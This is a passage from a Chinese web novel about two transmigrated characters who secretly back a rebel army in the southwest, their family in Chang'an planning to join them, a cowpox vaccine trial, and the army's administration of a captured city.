“忠州也不小,这伙山匪不是说才占了一个县城吗?难道没有合适的路去黄州了?”再说不是还有水路吗?总不能这支土匪一个月就干了玄甲军几个月都没在盘州干完的事。 那他们还造什么反,直接投靠忠州的土匪就是了。 “也不至于,东家的意思是想先把这支土匪背后的人找出来。”西南是东家和别公子打天下的第一步,虽还不是自家地盘,但大家伙都已经将西南看做囊中之物,这会子冒出一支无名无姓的土匪,怎么也得找到幕后主使才过的去。 “好吧。”尚乌桕皱着眉头,这也说明他暂时回不去礼县,种牛痘这样重要的大事,他若不能亲眼见证,就是他日后行医生涯的一大憾事。 不成,得问问阿兄有没有办法,先把他偷渡回礼县。 …… “看什么这么高兴?”尚柒拎着食盒打外面进来,胡娘子正午特意烧好了饭菜,着人送到衙门,正巧琴砚出门做事了,就得尚柒跑上一趟。 “忠州那边有消息了。”别此云对忠州冒出来的乱军,谈不上多关心,因为他和尚柒知道,对方必是闻风而动的人,没主见的造反军队终究长久不了。 “找到幕后主使了?” “不错,是忠州姜家。”别此云自从把生意大部分搬到西南,人脉也开始不断在西南发展,忠州他的产业不多,但因为酒水生意满西南跑,倒也和忠州不少商人混了个面熟。 “忠州姜家?” “怎么?认识?”别此云听尚柒念叨时带有一丝回忆,想想尚家在西南做药材生意,说不得就和忠州姜家也搭过关系。 “认识也认识,姜家在忠州也做医馆生意,自然是向尚家买过药,但忠州地方豪强多如牛毛,姜家算起来排不上前几号,突然说是它谋逆,有些意外。” “撑死胆大的饿死胆小的,地方势力强也不代表他们敢生事,应州管家眼下可是再规矩不过。” “那是看在你没慌,要是眼下应州城没有做主的人,管家说不定闹出的事比姜家还大。”天塌了有高个顶着,眼下别此云就是那个高个,就说官衙门这么多官员人心惶惶,愣是没一个逃跑,就晓得别此云这根定海神针发挥了多少余力。 “咱们要着手对付姜家吗?” “不必。”尚柒说的信誓旦旦,叫别此云好一阵打量,可瞧人气定神闲的模样,约莫是看不出什么。 “想出了什么法子?”西南势力他虽粗粗知道一些,但终究过来的时间短,不如长安熟悉,莫不是这姜家有什么死对头,可以挑拨。 “无非是给姜家寻个对手,叫他们狗咬狗,等双方打的差不多了,咱们也可以坐收渔翁之利。” “姜家在忠州行事不算正派,屠杀百姓的行径更是令人发指,挑拨离间姜家的对头我没意见,但这对头行事也如姜家一般,可是有愧忠州百姓。” “放心,我不至于拿百姓的姓名做赌注,姜家也没有人能再屠一座城。” “你这样说,我自然信,忠州之事你既然有办法解决,我便不插手,正好我也该送信给兄长。” “考虑清楚了?”虽说他们只要在玄甲军露面,别家被拉下水就是早晚的事,但这事没那么容易。 “已经考虑的够久了,你猜测边关有疫,长安诸多世家都在安排族中子弟回祖地,别家没有祖地,但正好有一个离京的借口,不被广运帝猜疑。” “好吧,希望老丈人和大舅哥不会被吓的瞠目结舌。”谁能想到此云去西南是为了谋反呢。 “大概不可能,不过可惜咱们见不到。”别此云的坏心眼没地方用。 “你啊。”尚柒点了点人的面颊,“过来吃午饭,再晚些饭菜都凉了。” “眼下的温度,怕馊了都不怕凉了。”别此云一到夏日难免少胃口,若不是尚柒变着法连哄带骗的叫人每顿多吃些,指不定又要瘦成什么样。 要说给开两幅开胃的药,别此云是不想喝的,因为中药喝多了,莫说开胃,光是药味闻起来就已经倒了胃口,不如来几粒健胃消食丸好使。 “那也不该吃冷饭冷菜,凉菜也就罢了,热菜凉了味道就变了。”尚柒取过食盒,摆好碗筷。 胡娘子也是费尽心思做开胃爽口的菜给两人,尚柒还好,正是长身体的时候,顿顿饭菜剩余的都由他包了。 “虽然大部分调料都齐全,但比起现代的饭菜,总归是差了不少。”别此云挑食主要还是吃过好的,哪怕十几年没再碰过,但也是忘不掉的。 “看来此云上辈子也是锦衣玉食的小少爷。”尚柒当然也吃不惯大历的饭菜,不说别的,大历的盐杂质含量依旧令人发指。 “我不能否认。”别此云还真没过过苦日子,当然仅仅指生活质量上,勾心斗角还是没少经历,不然不谙世事的到这个时代,别说瞒着别家建立自己的产业,想必连家里人的意见都不见得能违抗。 “那我还真是命好,如果在现代咱们遇上,我也高攀不起。”尚柒家不能说显贵,因为世代学医,人脉方面肯定是不缺,但真要和巨富比起来,还是欠一些火候。 “都是现代了,你怎么还有门第之见?”别此云挑眉。 “门当户对还是有些说法,我不能说咱们现在相处琴箫和瑟,到了现代也能一模一样。”至少他和此云相互吸引,最主要的一个原因还是因为这个时代只有他们两个不一样的灵魂。 当然,要是真意见不合,也是走不到一块,更不说他们成亲后,连吵架都没有,床上也十分契合。 “有几分道理,不过想来我要是在现代遇上你,仅凭你的相貌脾气,也会产生一些想法。”至少他和尚柒初见相处后,他就有想谈的想法。 尚柒闻言思考了片刻,说起来他不是一见心动的人,和此云相处,也是因为有先决条件后,才渐渐心动。 “怎么?换个时代,便看不上我了?”别此云看似调侃,但心里也有几分别样的紧张,他知道他有些无趣,除了一张好脸没什么拿得出手,不过他和尚柒在床上契合,怎么也能混个炮友的名分才对。 “不是,只是设身处地想了想,我可能没那么快心动,但绝对不会说不被你吸引。”此云的胆大可是见第一面就震慑到了他,想必在现代此云也是雷厉风行之人,他很欣赏这类人,被吸引是早晚的事。 别此云闻言露出小小得意的笑容,不知不觉间,竟吃下了一整碗饭,胃里都感觉有点撑了。 “撑的厉害,就先吃一粒消食丸,我再给你揉揉,等一会咱们去外面走一走。”尚柒知道度,不过是这些日子此云吃的少了,胃口方才没那么大。 “还好。” “那就休息一会,我将食盒送出去。”尚柒动手收拾残局,剩饭剩菜自然是没有的。 “嗯。”别此云打了个哈欠,“待会回来陪我午休一会。” “好,要是困的厉害就先去塌上休息,我一会儿就回来。” “嗯。”别此云半闭着眼睛看向尚柒的背影,不管前世今生,总归遇上尚柒是他在这个时代最好的事。 第125章 夜半。 张青浣迷迷糊糊醒来, 发现枕边人还未归,起身招来守夜的侍人询问。 “大少爷戌时末归府,便一直在书房没出来。” 张青浣微皱起眉头, 近来未曾听闻什么坏消息, 如何夜半还要在书房不出。 “将我衣裳取来。”左右这会醒了, 张青浣也不打算不明不白的继续睡下去, 干脆起身穿好衣裳去了书房。 暮云堂的寝卧离书房有一小段距离,原是没这么远的,但自打有了孩子,便将书房迁到了后头,平日孩子吵闹也传不到书房。 路上路过两个孩子休息的地方, 张青浣还询问了两句, 得知两个小的睡得正香, 便没去打扰,不然闹醒了孩子, 今夜谁也别想睡了。 到了书房口,平日贴身伺候的小厮竟也没在书房里研磨伺候, 张青浣便知夫君这会定然苦恼的紧。 “夫君进去多久了?” “回少夫人的话, 足有两个时辰了, 中途我也问过, 但大少爷不叫人打扰, 便只在外面候着。” 张青浣走上前,敲了门。 “不是说不叫人打扰。”屋里传来几分暴躁的声音, 这倒是奇了。 自张青浣进门来,别景季都是好脾气,便是惹人生气了,也从不见人发火。 “是我。” 隔了片刻, 书房门打开,别景季见院外站着稀稀疏疏几人,没忍住叹气,请夫人进屋。 “这个时辰,怎么还不休息?”别景季话里不复方才的燥意,但还是能听出几人无奈。 “正是睡醒了见你不在,过问了侍人才晓得竟又在书房不肯休息,今日朝中可是又得了什么难事,叫你都生了火气。”眼下,除开朝中的杂事,张青浣还真想不出有什么能叫别景季如此苦恼的。 “非是朝中事。”别景季说着面色带了几分古怪,要是朝中事反而好了,上头反正有父亲和祖父撑着。 “不是朝中事,便是私事了?” 别景季摇头,不肯多说,不是他不与枕边人交底,而是此事事关重大,他还没有想出眉目便贸贸然同人说了,只怕要吓人个好歹。 “你这样关在书房,如何使得,便是不想同我说,也好去寻公爹商议一番。” 张青浣说罢见别景季一声不吭,就知这事也不好同公爹说,在她看,只要不是私事,再没有不能和家里长辈商量的。 不说祖父和公爹年长,单单在朝中资历便比小辈要高,遇上什么事自己闭门造车哪里有请教人来的快,还能避免许多坑。 “当真不能同我说?”张青浣不是多嘴之人,且别家内宅的主事娘子郎君都是对朝中事了如指掌,除开不能入朝为官,其余方面不输朝中儿郎。 有时候遇上难题,还得婆母想法子替公爹排忧解难。 “再等等,等我想清楚了再同你说。”别景季心中憋闷,可实在不能怪他,任谁被扔来一道惊雷,都要被吓一跳,更不说此云扔给他的又岂止是惊雷这么简单。 虽说别家才弃了太子这条船,想着再寻一条船登上去,但也没想过自己造船,此云竟然不声不响的在西南搞了这样一件大事。 原先家里人还担心西南乱军会对此云的人身安全有影响,现在看,西南乱军对长安别家的影响更大。 到了这个时候,但凡乱军头领被揭露出来和别家有关系,不管长安别家怎么辩解,只怕陛下也不会听。 这船他们不上也得上,只是看要怎么上,才能保住阖家性命。 留在长安是没活路的,虽然此云是出嫁的哥儿,按说造反算在尚柒头上,不祸及别家,但有眼睛的都晓得,尚柒没背景。 朝中是信尚柒自己千里迢迢过来长安再回西南造反,只为娶一个哥儿,还是信尚柒这一趟是为自己拉盟友? 不用想都知道是后者。 “先前家里人商议将下面的小辈都迁出长安,娘有决断了吗?”要说和各世家联系,肯定还是后宅联系的更勤密,祖父也把此事交给了娘去办。 “有了,想着肯定还是往南去,但又不能离长安太近,便打算在江南落脚。”江南富庶,许多城池不一定能赶上长安,但也胜过中原许多地方,搬去江南,肯定不会吃苦。 “已经开始操办了吗?” “这倒没有,你也晓得咱们家在江南没有根基,想要置办齐全,总归要联系在江南的姻亲,只是咱们家旁支虽也不少,但多还是在中原嫁娶,嫁娶江南的姻亲有的都出了五服,想要联络人帮忙办事,没那么快。” 张青浣说着望向别景季,“可是有其他想法?若是你打算搬迁去其他地方,且给娘说一说利弊,想必娘不会拒绝。” 话虽如此,但别景季想真要是一股脑将事情告诉娘,只怕要闹个不可开交。 当然以娘疼此云的架势,以及现在被架在火上烤的形式,多半是要同意的,可真要别家去西南,肯定逃不过祖父的应允。 别家在长安浸淫两百年,根基全在长安,想要别家阖家去西南替乱军做事,不是那么简单的。 至少真告诉了祖父,祖父也要权衡一番利弊,万一祖父认为留在长安对别家更好,只怕会想法子和此云断绝关系。 “夜深了,早些回去休息吧。”别景季还要在想想,如何将这个消息告诉家里人,才能叫家里人选择此云。 “我专程过来就是请你和我一块回去休息,结果什么事都没弄清楚,你又要赶我回去。”张青浣好笑的看向别景季,“你我夫妻,本该同甘共苦,你冥思苦想,我难道回去还能倒头就睡不成。” “今夜我是睡不着了,你又何苦留在书房同我苦熬。”别景季上前替人捋了捋碎发。 “左右睡不着,不若在书房陪你,真要是困了,我自会在塌上休息。”眼下这个天,也不怕睡在塌上着凉。 别景季拗不过,只好留人在书房,他也实在是没法回寝房,不然必是辗转反侧,也叫枕边人难以入睡。 此云啊此云,当初送你去西南,以为只是帮你避开陛下的祸事,哪想你竟然是打着谋逆的心思。 他对自家小弟还真是什么都不了解,那么当初此云看中尚柒,究竟是因为尚柒身家在西南,好方便他行事,还是二人志同道合,都有一样胆大妄为的心思。 …… “如娘子,你作为咱们玄甲军第一个招进军营的女子,可要好好表现。”玄甲军新辟的娘子郎君营已经建成,还别说,刚放出会招一批娘子郎君入军营,就有不少人过来报名,不过大多敢来军营吃苦的娘子郎君,身板都免不得健壮。 这样倒也省了一些体力拉练,可以直接开始训练。 “蔺管事放心,能得这样的机会我肯定好好珍惜,等能上战场了,必杀几个人头回来。”如娘子说起杀人,倒有几分轻描淡写的气魄,一般人还真没这个胆子。 “听到如娘子这样说,我自然放心,眼下营地还没有出色的领队,等训练几次,先选几个小队长出来,看谁日后能胜任领导这支军队。” 当然了,主公要是能挖到这方面的人才,后续肯定会空降过来,蔺肃是不担心空降来的人才不能服众,看看樊泊,人空降过来不光降服五千兵马,眼下玄甲军都要突破万人了。 “意思是我也有机会领军。”如娘子眼睛发亮。 “正是,你是头一个过问娘子郎君是否能入军营的,有这样的胆识在军队里必然也差不了,不过想要领军,光靠胆识气魄不够,武艺是服众的基础,更重要的是你得会识文断字。” 五大三粗的将士最多能当个小队长,真要当将军识文断字都是基础,尤其是历来的名将,哪个不是熟读兵书。 “军营也会教认字?”要如娘子识字就有些难为人了,整个大历除开世家,寻常儿郎都少有识字的机会,更不说如娘子这样底层的娘子郎君。 “会,不教识字,你们连军规都不知道怎么念,如何能正军纪?且越往上走,要求越高,若是一军统帅连个战报都不会写,岂不是儿戏。” 说起认字,整个军营的兵丁都怨声载道,实在是不少大老粗学字学的太慢了,就算是军营学的简化字,都有不少人跟不上进度,这群粗汉,宁可每天拉练几十里,也静不下心读书写字,实在叫他恨铁不成钢。 “我知道了,蔺管事放心,我肯定好好学。”蔺管事都亲自在她跟前说看好她了,没道理她不想上进。 若她也能跟戏文里的儿郎一样封侯拜相,家里的孩子也不必再过苦日子了。 “有这个心最好。”蔺肃的确欣赏如娘子,说不得玄甲军的第一女将还是他这个伯乐相出来的,日后青史留名也是一番美谈。 第126章 礼县。 “成了, 种了痘的人,都只发了些低烧,不曾出现其他问题。” “瞧着是恢复健康了, 但还是再多观察几日。” “是该小心些, 这牛痘是要给整个礼县百姓种的, 试验的人数其实还不够, 且多是儿郎。”盘州送来的死刑犯都是男子,一般姑娘哥儿也犯不着砍头的罪。 “不错,但人选恐怕盘州那头也帮不上什么忙。”不说现在忠州打的正热闹,应州黄州联系都不如以前方便,就是两头联系不成问题, 也找不到那么多合适的人选。 “还是得问问有没有愿意尝试的人, 尤其是姑娘哥儿。” 这事就有些为难了, 虽说牛痘已经过了一次人体试药,但数据不足, 算不得安全。 而西南又没有发疫,纵然他们把牛痘吹的天花乱坠, 估计百姓也不肯轻易尝试的, 或许给些钱财还有人来试试, 但礼县真没有要钱不要命的。 “我可以参加下一次种痘。”尚乌桕踮起脚, 企图叫周围的大夫注意到他。 “乌桕你就别添乱了, 不说你的身份,就是你的年纪也够不上咱们的要求。”眼下主要还是以青年壮年为主, 年迈和年幼的人群暂时不考虑。 “早晚也是要给孩子种的,我种了牛痘咱们还多一份数据呢。”尚乌桕不以为然,他晓得种牛痘还是有一定风险,但等牛痘真的能对百姓开放, 阿兄和别哥哥都是要头一个种的,他现在参与进去,不过是提前了些罢了。 “胡闹,就算是给孩子种,那也是要逐步增减剂量,你这小家伙可别添乱,不然我写信给东家,告你一状。” 尚乌桕被呵斥,悻悻的低头,谁叫人家说的对,他不过是太急迫罢了。 “东家走后牛痘的事虽然都是咱们在负责,但其实也都按照东家留下的方案做的,眼下还是招募志愿者为主,礼县招不到人就去隔壁几个县招人,价钱也给高一些,但不能过高。” “就这么办。” 尚家招人试药的消息一经传出去,不少其他县的人还真蠢蠢欲动,实在是尚家仁义,一贯是不亏欠工钱的,但这回试药说是可能出现各类不确定的情况,又叫不少人迟疑了脚步。 但终究还是有缺钱的,尤其这次招人试药,多招姑娘哥儿,不少家里孩子多的人家,就想着拿孩子赚钱。 谁料尚家给钱都是给试药的人,不管是不是家里人,一概都没落着好。 “礼县百姓自吃饱后,已经少有不把家里姑娘哥儿当人看的,没想到这些县城就在礼县附近,半点没学到好。”尚乌桕跟着研究牛痘的大夫们忙前忙后,当然也是听说了试药人的情况。 “隔壁几个县,自然是比不上礼县的,礼县的娘子郎君都能自寻出路,肯干的娘子郎君一月不比儿郎赚的少,手里有钱了,在谁面前都能抬起头。” 尚乌桕半懂不懂的点头,钱眼下他是不缺的,就说在清平县给赤脚大夫上课,阿兄每日都是给他开工钱的,一月下来加上阿兄给的零花,只要不大手大脚都还有结余。 许是他能赚钱了,所以阿兄才放心他满西南的跑,果然人还是要自己有钱才硬气。 …… “礼县那边传来消息,牛痘在人身上试验已经通过了,等下一批就可以送去军营给将士们种上。” “我还以为要一些时候。”别此云闻言惊讶,其实眼下中原都还没闹出什么疫病,牛痘的事没那么急迫。 “招人试药给银两,不少百姓都争相报名,试药的人多了,成果出的快些是自然的。” “那到时候咱们要去军营吗?”种牛痘是大事,主要还是怕有人在军中煽动什么不好的流言,若他和尚柒能去,也算是一种安抚手段。 “暂时不到咱们出面的时候,樊泊和蔺肃会身先士卒种牛痘,咱们还是留着在百姓面前当定海神针。”比起军营的将士有服从性,要百姓种牛痘其实更难。 当然还有不少人不适合种牛痘,例如身体太弱和一些有基础疾病的,更不说眼下营养不良的百姓比比皆是。 若非是此云到了应州衙门,将粮价稳在一个较低的数字,现在还有不少百姓顿顿吃糙粮度日。 “也是,边关战事拖了这么久都没有消息,不知是疫病当真严重,还是和突厥打的难舍难分。” “真要是起了疫,按大历眼下的医疗水平,就是研究出治病的药方,也没有那么多药材给得病的百姓用,所以广运帝想要阻断边关的疫情,只有可能烧城。” “眼下你我不知边关到底生了什么疫,也不知疫病的范围如何,真要是牵连甚广,广运帝烧城,无异于扼杀整个北方的生机。” “总比疫病传到中原好,尤其这疫病真是天花或鼠疫,到了中原,只会死伤更多,且大历边军都起了疫,突厥也好不到哪儿去。” 原本突厥打大历,占尽优势,疫病一出,只怕也是元气大伤,多半会鸣金收兵。 “真要是烧城,还没染上疫病的百姓可能会群起而攻。” 尚柒点头,但眼下北面一点消息都没传出来,就算有人为活命反抗,多半也是不了了之。 殊不知,此时的北方,虽尸横遍野,但依旧有人冒死出了疫区,往中原逃窜去。 —————————— 长安。 “夫人不是说要在江南置办田地,怎么又往西南靠了。”别洵松捋着胡子,眼下西南可是有乱军,紧邻西南置办田地,万一乱军出了西南,他们可不是头一个遭殃么。 “你不是说陛下已经送了圣旨到西南,让西南守军平乱。” “话是这么说,但圣旨送出去后,西南一点消息都没传回来,倒是有不少西南的地方豪强和富户逃到中原,说乱军蛮横无理,夺人家财。”照别洵松看,估摸着圣旨一入西南就被乱军截住了。 眼下西南多半是乱军说了算。 “他们还有命逃到中原就说明乱军不会随意杀人,北面当真有大疫,只怕江南也不安全,唯有西南进出困难,说不定还能躲一躲。”苏怡然借口用的冠冕堂皇,实则还是因为别景季悄悄告诉了她此云在西南干的大事。 可是吓了她好大一跳,亏得多年见惯了大风大浪,才没晕过去。 事后缓了好半天,苏怡然立刻想法子要把阖家送去西南,家里做主的老爷子肯定没有这个决断,说不定听闻此云在西南的行事,还要说人糊涂。 但她肯定是站在她哥儿这边的,景季别看面上没说支持此云,私下里连儿媳都没说,转头告诉了她,便知道态度。 “夫人,乱军和疫病,两个看起来都不是好选择。”别洵松被夫人的话噎了片刻,才接话。 “北面的疫病当真波及中原,必有不少人选择南逃,江南地富庶,城中显贵多半都会去这里,疫病过去也是迟早的事。 咱们若想另辟蹊径,只有往更南的地方去,可岭南一带的热病也不少,咱们是土生土长的长安人,吃不消。 看来看去,只有西南更安全些,我已经着人细细过问乱军行事,虽有不少人天花乱坠的说乱军如厉鬼行事,但实则纪律严明,不曾烧杀抢掠,白鹤县被占后也不成有过乱象,只要乱军讲道理,我认为西南可去。” “可是” “更不说西南还有此云和尚柒在,真要是过去咱们也不算孤立无援。”眼下最要紧的是叫家里人同意在西南附近置办田地,当然苏怡然肯定不会把钱浪费在这里,到时候阖家直接送去西南就是,比起游说还是先斩后奏来的有效率。 别洵松还有心想辩解两句,但说来说去都说不过自家夫人,最后只能皱着眉头应下,总归疫病不一定波及中原,田地置办在那里,也不一定用的上。 真要是起了疫,如夫人所说,西南不见得不是个好去处,不过还是要在着人细细打听打听乱军行事,当真不是杀人不眨眼的乱军,西南才可不去。 “父亲同意了?”别景季下值归来,就被母亲请了过来。 “说不过我,自然只能同意,你且去信问问此云,他打算何时露面,咱们也好计算还有多少时间将全家人骗过去。”苏怡然面上风轻云淡,实则心脏砰砰的跳动,她历来守规矩,还是头一次做这样胆大妄为的事。 “我已经写信询问,玄甲军占了盘州城,想来整个盘州落入手里不过早晚的事,而此云以代理刺史的名义统管应州,清平县又是尚柒的地盘,整个应州想必也被他们掌控,西南四州占据两州,眼下唯一担心的只有黄州的守军。” 苏怡然听着儿子分析此云的地盘,胸中涌现一阵得意,她家哥儿不声不响竟然吃下了西南两个州,可见是天生造反的料子。 其实也不怪苏怡然带着滤镜,实在是广运帝几个皇子一个比一个不成器,眼下她家哥儿站出来,怎么看怎么比几个皇子优秀。 太子都能有荣登大宝的机会,她家哥儿难道还不如太子吗? 第127章 车轮在新官道上压过, 比起从前西南坑坑洼洼的土路,新官道实在宽敞平坦,沿道都布置的有驿站, 每日还有专程雇佣的人沿官道洒扫, 好在盘州的百姓大多还是对什么东西都宝贝, 不可能轻易丢弃, 官道上少有垃圾。 因为玄甲军并不禁商的缘故,原本在白鹤县被围的商人离开白鹤县后,又纷纷回头做生意。 也多亏了他们在玄甲军治下生活过一段时日,晓得玄甲军非是滥杀无辜之辈,趁着外头商人还不知玄甲军底细, 他们赶着头茬想要和玄甲军做生意。 说实话, 玄甲军占据白鹤县修了不少工坊, 雇人做工,产出来的东西虽然大部分原本西南也有卖, 但数量稀少,比不得玄甲军供货便宜还量大。 若是货物多, 几家一块玄甲军还派人护送他们回程, 以防遇上劫道, 这不尝到了玄甲军的好处, 白鹤县哪怕有乱军, 也比往日要热闹。 盘州城更不必说,玄甲军占据后就算是截住了西南到中原的水路, 眼下还能从西南逃出去的,无一不是要走山道,山道路险,以往行商的商户可有不少摔死在路上的。 “小二, 添一壶浊酒,再来二两卤肉。”商队刚到驿站,就同驿站的小二点菜,大部分驿站前不着村后不着店,伙食一般没有多好。 但玄甲军开设的驿站,肉是不少的,不过多是鸡鸭鹅鱼,猪肉羊肉运气好能遇上,牛肉是想都不要想,整个盘州现在缺牛缺的厉害。 没法子,骡子、驽马和青驴都被拉来充数耕作,要不是羊实在低矮,不少人还要用羊在地里做活呢。 “客官赶巧,今日县里那边送了一头猪来,足三百斤,正在锅里炖着。”小二嘴甜,一边用搭在肩上的长巾替客人擦桌子,一边介绍驿站的新菜。 “竟然有猪肉,是卤是炖?卤肉便多切二两过来,要腱子肉,耐嚼,炖肉且连肉带骨头上两碗,多要些汤汁。”原本商人过来只打算歇个脚,吃点东西打打牙祭,没成想竟遇上有猪肉,一路舟车劳顿,嘴里早就淡出个鸟。 “眼下这个天,炖肉哪里放的住,都卤了,只是客人来晚了些,四个猪蹄都叫前面的客人要了去,不过腱子肉有剩。” 玄甲军驿站做卤菜是舍得放香料的,且都是好香料,卤出来的肉滋味比一般肉要好,像是猪肉一般都难免腥膻,但卤过的猪肉就压住那股腥味,用来下酒是最好不过。 “快些切来,吃完我们还要上路。”路上的行程都是定好的,耽误一两个时辰就要露宿野外了,西南的野外很危险,因为山多,附近没有人烟,什么野物都是有的。 若不是常年在山上打猎的老把式,是不敢轻易在野外留宿。 “客官且等着,马上来。”小二说着先是提了一壶浊酒,驿站好酒也有,但卖的不便宜,就说青麦酒,一般商户路过都是不肯花钱点的,也就是手里阔绰些的富户才点的起。 后厨离前堂不远,客人入门叫菜,后厨都是能听到的,除非有特别吩咐,不然小二只管进去端菜就是。 腱子肉被切成大块,都是走南闯北的人,比起精细人家吃肉须得小片小片吃,他们这些人更喜欢大口撕咬,四两肉其实不多,也就要菜的商人能尝个味。 跟来做生意的仆人,多是只能向驿站讨口水,这会也不是正经吃饭的时间,没几个商人愿意多出钱,仆人要是自己愿意出钱买,商户也是不会拦着。 而眼下驿站里,坐的满满当当,自打玄甲军把官道上荒废的驿站都收拾出来,几乎每日都有客来。 而满屋子的人,莫不是在说玄甲军的事。 “玄甲军拿下盘州城后,听闻将王刺史官复原职了,眼下王刺史照旧管着盘州城,也不知是真是假。” “想是真的,虽然咱们不能进州府衙门一探究竟,但王刺史总归是要露面的,若是假话早该有人出面说道了。” “也是,我看玄甲军颇有些意思,竟然还任用从前大历的官员,王刺史虽说是个好官,但一朝天子一朝臣,也不怕王刺史重新掌权之后,又和玄甲军对上。” “玄甲军手里有兵,任凭王刺史有天花乱坠的本事,也没法拿玄甲军如何,你没看盘州城一拿下,玄甲军就加快攻打下面县城,不必到秋收,整个盘州就要改姓玄甲军了。” “也是奇怪,玄甲军出来这么久,还没人打听出究竟是谁在背后掌控,要说那些想要打天下的,不是头一个就要亮自己的招牌,玄甲军的老大怎么这么坐得住。” “想是身份不好揭露,不过玄甲军老大是谁也不重要,你没看去套近乎的全都折戟沉沙了,我瞧着玄甲军的头儿不是善茬,咱们规矩做咱们的生意,不犯到玄甲军手里最好。” 他们可是仗着玄甲军做倒卖生意大赚了不少,只是钱拿回家,都没像从前一样置办田产,他们在玄甲军的地盘呆过,晓得玄甲军是不准备百姓私下屯田,有这些钱不如多买几套房子。 “其实最近我听玄甲军的军爷说,玄甲军全军都要种什么牛痘,说是可以预防天花。”有人消息灵通,玄甲军那边牛痘还没种上,消息已经传出去了。 “牛痘,那是什么东西,当真可以防治天花?”天花是什么,只要经历过的人永远不会忘记,甚至子孙后代也会被千叮咛万嘱咐天花的可怕。 “同我说话的军爷是这么说的,我想玄甲军给自己人种牛痘,肯定是有用才种,眼下西南虽没见有疫,但种了牛痘一辈子都不怕天花,那还是该种的。” 谁敢保证日后西南就不再起天花了,尤其是商人,经常到各地去,最容易染上病。 “玄甲军可有说什么时候能卖给咱们,要多少钱,这些日子我赚了不少,只要不是漫天要价,我一家都是愿意种的。”因为玄甲军先给自己种,不少人就不质疑牛痘是否有效,而是在想自己什么时候能种,种牛痘会花多少钱。 “真要是对咱们百姓开放,多的是人想种,只是眼下没有风声说什么时候才能给百姓种,咱们和玄甲军做生意,能接触玄甲军的军爷,消息比普通人灵通些,多关注关注,肯定能抢到头一批的名额。” “这么说,近来咱们还是要留在盘州为好,不然玄甲军真说可以给百姓种牛痘,咱们不在盘州,岂不是错过了。” “也不尽然全信,天花是何等厉害的疫病,这么多年来也没听谁说能够治好,这消息也许是假消息。”有人信自然也有人不信,不过在坐的或多或少得了玄甲军的好处,虽心里是否对玄甲军满意不为人知,但面上肯定还是向着玄甲军。 “玄甲军既然敢先给自己人种,肯定是有依据,且玄甲军眼下正派遣手里的大夫四处义诊,看过病的都说玄甲军的大夫医术厉害,虽不至于什么病都能医好,但比起当地大夫厉害了不知几倍,那么研究出防治天花的牛痘,也没什么大不了。” “还是留心些好,万一玄甲军信口雌黄,到时候要咱们散尽家财去种什么牛痘,结果是一场骗局,咱们还能和玄甲军讨说法吗?” 这话一出,叫原先蠢蠢欲动的商人又缩回自己的乌龟壳,做生意的怎么可能没有警惕心,虽然玄甲军还没闹出过骗人夺财的事,但盘州城的牢房里可有不少原先的富户都被阖家抄没。 他们这些商人三瓜两枣比不上富户和豪强,但万一人觉得蚊子再小也是肉,不可能放过他们也不是不可能。 驿站的小二缩在暗处,这不是驿站里第一次讨论牛痘的事,谈论牛痘的商人也不是什么真商人,而是玄甲军寻来的托,就是想着借他们之口将牛痘的消息先放出去,不管百姓愿不愿意种,总该叫他们晓得有这样一个东西。 不过看最近几日驿站有关牛痘的讨论,多数还是谨慎派,但听闻已经有商户到了白鹤县后,明里暗里向玄甲军的将士们打听牛痘的事,看来对此也不是无动于衷。 军中人数已经过万,虽陆陆续续放了一些将士们回家,但都是轮休,人数也没大减。 种痘也不是说全军一天就要种完,毕竟听闻牛痘种了,有人还是要发低烧,所以樊将军特意分了几批接种,起初种痘的消息传到营地,不少将士还都心慌。 后来听闻樊将军和蔺管事会先他们一步接种又都安心下来,连将军和管事都跟着接种,这牛痘不管能不能防治天花,至少不会出人命。 “要叫百姓全都接种牛痘,还是要多宣传,不过眼下也没那多痘给他们种。”礼县牛痘成了的消息也是一刻没停的传入盘州,蔺肃跟在东家身边几年,也是亲眼见证牛痘的研发,在没有不信东家的。 东家要他都头个种,自然也没什么意见,樊泊更不必说,他认为自己这条命都是东家救回来的,种防治天花的牛痘,完全没理由拒绝。 就是,“听说体弱的人不能种牛痘,我娘子身体不好,也不知能不能种。” “不能也没关系,只要西南百姓大部分都种上牛痘,天花怕是很难在西南传播开。” 蔺肃是收到过东家怀疑边关起疫的消息,但边关的疫情真传入西南,只怕整个大历都没有什么能躲疫病的去处。 “希望如此。”不怪樊泊担忧,实在是他一家子老的老小的小,唯一算中年的娘子身体还不好,头一批牛痘只给青年壮年种,他一家子除了他都不符合条件。 “对了,近来征兵的数量还多不多?” “白鹤县凤来县已经少有人报名了,盘州城大部分还在张望,看去军营更合算还是去工坊更合算。” 到底军营有战死沙场的风险,盘州城的百姓日子要好过不少,虽然去工坊挣的工钱可能不及军中,但好歹能活命不是。 蔺肃的手在下巴上磨蹭,东家和别公子计划,拿下西南玄甲军最少能有五万精兵,别看数量少,但精兵不是那么好养的,真一个个身强体壮,令行禁止,到了中原必不会怕朝廷的兵马。 盘州富庶,是招精兵的好地头,少说在盘州玄甲军该扩充到两万五甚至三万兵马,眼下这个进度可不够。 得想法子再多招些兵马才是。 第128章 盘州城。 王襄一家人已经重新回到刺史府, 而王襄本人因为投靠玄甲军,被委以重任,重新统管盘州, 不光王襄, 连带这王襄名下的子女乃至夫人都被玄甲军拉出来做事了。 要说玄甲军未来之前, 盘州在王襄手里也是井井有条, 但玄甲军来了之后,王襄才发现当官的还要干这么多事。 “城里的公共厕所已经开始投入使用,现下百姓不必每日赶早给收粪人倒官房,直接去公共厕所倒就是。” 王襄有些神游的听下面的人汇报茅房相关的事,虽然也在农书里读过, 粪肥肥田, 是农户稀罕的宝贝, 但官衙门什么时候管过百姓拉撒了。 “厕所里囤积的粪肥也由原本的收粪人送去各个村子,盘州城打下来的时间晚了些, 今年稻种还用的往年的种子,秋后收成肯定是不如白鹤县和凤来县的。 但白鹤县一向土沃, 今年地又分到各家手里, 种新稻产出的粮食肯定会更多, 秋收后盘州的粮价大抵还会再往下跌。” 粮价也不是一味的低就好, 谷贱伤农, 种地的农户一年到头忙活,为的就是秋收能卖出个好价钱, 粮价跌了收粮的价钱自然也会下降,农户的收入自然就少了。 “白鹤凤来两县玄甲军专门挑选了地方建养殖场供应百姓生活和军中需求,盘州城人口更多,等百姓都寻到事做, 想必对肉类的需求也会增加,蔺管事那边可有对养殖场有什么说法。” 大面积养殖鸡鸭是很少见的,一般也就是世家庄子上会成群结队的养,世家人口多,对鸡鸭需求也大,若不是靠自己庄子产出,靠买能把人腿跑断。 